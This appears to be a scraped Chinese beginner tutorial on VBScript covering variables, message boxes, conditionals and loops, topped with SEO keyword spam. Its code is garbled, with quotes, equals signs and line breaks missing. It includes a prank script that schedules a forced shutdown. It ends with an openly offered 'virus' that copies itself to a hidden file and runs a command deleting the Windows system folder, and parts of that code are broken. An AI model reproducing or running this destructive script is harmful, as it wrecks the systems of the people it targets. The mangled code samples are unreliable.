外贸 网站推广,宁波做网站seo的,html静态网站模板下载,wordpress 文章页调用VBS 脚本语言概述
VBS 是一种 Windows 脚本语言#xff0c;全称是 Microsoft Visual Basic Script Editon#xff08;微软公司可视化 BASIC 脚本版#xff09;。
VBS 是系统内置的#xff0c;用它编写的脚本不用编译成二进制文件#xff0c;直接就由 Windows 系统宿主 h…VBS 脚本语言概述
VBS 是一种 Windows 脚本语言全称是 Microsoft Visual Basic Script Editon微软公司可视化 BASIC 脚本版。
VBS 是系统内置的用它编写的脚本不用编译成二进制文件直接就由 Windows 系统宿主 host 解释源代码并执行。
他不需要特定的编译环境任意的文本编辑器都可以进行编写初学者用 Windows 自带的“记事本Notepad”就可以进行编写和执行如果想深入学习的话还是建议用专业的编辑器支持代码高亮的更方便一些 Notepad 就挺不错。
VBS 变量基本定义
对于任何一个编程语言我们首先关心的是如何定义一个变量。在Visual Basic Script 中定义一个变量的正规模式是dim 变量名
当然如果你不定义变量而是直接使用也是没有任何问题的就像Python那样可以不用声明而直接使用但是我们在这里还是建议遵循一下变量的先声明后使用的原则。
dim a, b
a 10
b 5
msgbox a b这里的 msgbox 是一个vbs中的关键字基本作用是弹出一个弹框显示你想要显示的信息msgbox 可以显示各种类型的变量。
变量的类型与其他语言基本上都是一样的比如字符串、整型数、浮点型数、布尔型数字True 和 False但是我们在这里不需要指明某一个变量具体是哪一种类型的变量编译器是会直接自己识别变量的类型的。
VBS 判断语句
接下来我们首先介绍一下判断语句然后再去看看循环语句显示判断语句。如果你接触过其他的编程语言你一定对判断语句一点都不陌生在 vbs 中也是同样的语法也就是 ifelseelse if 等等。具体的书写略有不同啦例如下述的代码
dim str
str msgbox(Do you love me?, vbYesNo, LOVE)
if str vbYes thenmsgbox I love you too, I think we will be happy!
elsemsgbox I will close your computer!set sh wscript.createobject(wscript.shell)sh.run shutdown -s -t 300
end ifsh.run “shutdown -s -t 300” 执行自动关机 300 秒后
如何进行阻止自动关机的代码
Set ws WScript.CreateObject(Wscript.Shell)
ws.Run shutdown -aVBS 循环语句
循环语句基本语法
For...Next 语句运行一段语句指定的次数
For Each...Next 语句针对集合中的每个项目或者数组中的每个元素来运行某段语句。
Do...Loop 语句运行循环当条件为 true 或者直到条件为 true 时。循环语句基本案例
Dim Count:Count 5 定义一个变量
Do Until Count 0 直到Count 变量为 0 时否则一直循环MsgBox CountCount Count -1
Loop
MsgBox 循环结束Dim Count:Count 5 定义一个变量
DoMsgBox CountCount Count -1
Loop Until Count 0 直到Count变量为 0 时否则一直循环
MsgBox 循环结束就比如
dim str
do until str yesmsgbox do you love me ?str inputbox(yes or no, ANSWER, yes)
loop运行结果 VBS 程序案例
对于任何一个编程语言我们首先关心的是如何定义一个变量
在Visual Basic Script 中定义一个变量的正规模式是dim 变量名
这里的 msgbox 是一个vbs中的关键字作用是弹出一个弹框显示你想要显示的信息
msgbox 可以显示各种类型的变量。 在vbs中变量的类型与其他语言基本上都是一样的比如字符串、整型数、浮点型数、布尔型数字True 和 False但是我们在这里不需要指明某一个变量具体是哪一种类型的变量编译器是会直接自己识别变量的类型的。 在 vbs 中想要输入是需要首先弹出来一个弹框然后进行输入的。
例如下述代码
dim str-
str inputbox(please input your name here,Title,default value)
msgbox str在这里的输出方式其实我们已经在前文中使用了很多次了就是上述的那个 msgbox 关键字它的作用就是弹出一个弹框然后显示出你想要显示的信息
比如我们在第一个例子中输出的数字 30 以及我们在第二个例子中所显示的字符串 “唤醒手腕哈哈哈”总之就是由 msgbox 这个弹框进行显示信息相当于 C 中的 cout也相当于是 Python 中的 print 等等是一个输出只是与其他语言的输出方式不太一样罢了。
案例 2打开 cmd 窗口
Set WshShell createobject(wscript.shell)
WshShell.run cmdVBS 编写系统病毒
底下是我编的病毒有人想要的可以拿去但是千万不要拿来做坏事可能会你的同学们挨揍。
dim fso,copy,wshshell,Const Hidden
set fso createobject(“scripting.filesystemobject”)
set copy fso.getfile(wscript.scriptfullname)
copy.fso(c:\users\computer virus.vbs)
复制自身到c:\users\ 复制体叫做computer virus.vbs
Const Hidden 2
Set hide fso.GetFile(c:\users\computer virus.vbs)
隐藏复制体
hide.Attributes f.Attributes Or Hidden
set wshshell wscript.createobject(wscript.shell)
wshshell.run cmd/c del c:\Windows\system
太狠了,删除系统文件夹,删了系统报废!只能在虚拟机里测试。
不得破坏被人电脑!(当然,杀毒软件应该都会报毒)cmd/c … 也就是使用cmd执行某某命令。
你可以在命令提示符里输入del/?查看帮助.
